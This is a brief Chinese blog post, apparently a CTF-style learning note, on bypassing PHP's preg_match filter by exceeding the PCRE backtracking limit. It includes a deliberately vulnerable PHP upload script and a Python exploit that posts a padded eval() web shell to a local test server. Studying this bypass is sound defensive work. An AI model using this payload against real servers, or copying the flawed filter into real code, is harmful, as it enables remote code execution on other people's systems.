PHP利用PCRE回溯次数限制绕过preg_match

php使用的PCRE库使用NFA作为正则引擎

 

NFA:从起始状态开始,一个一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

 

<?php 
$data=$_REQUEST['data'];
if(preg_match('/<\?.*[(`;?>].*/is', $data)){
die("hacker!!!");
}

file_put_contents('pcreshell.php',$data)
?>

 

py脚本:

import requests
from io import BytesIO

files = {
  'data': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://127.0.0.1/pcre.php', files=files, allow_redirects=False)
print(res.headers)

 

posted @ 2022-07-28 22:48  Galio  阅读(107)  评论(0)    收藏  举报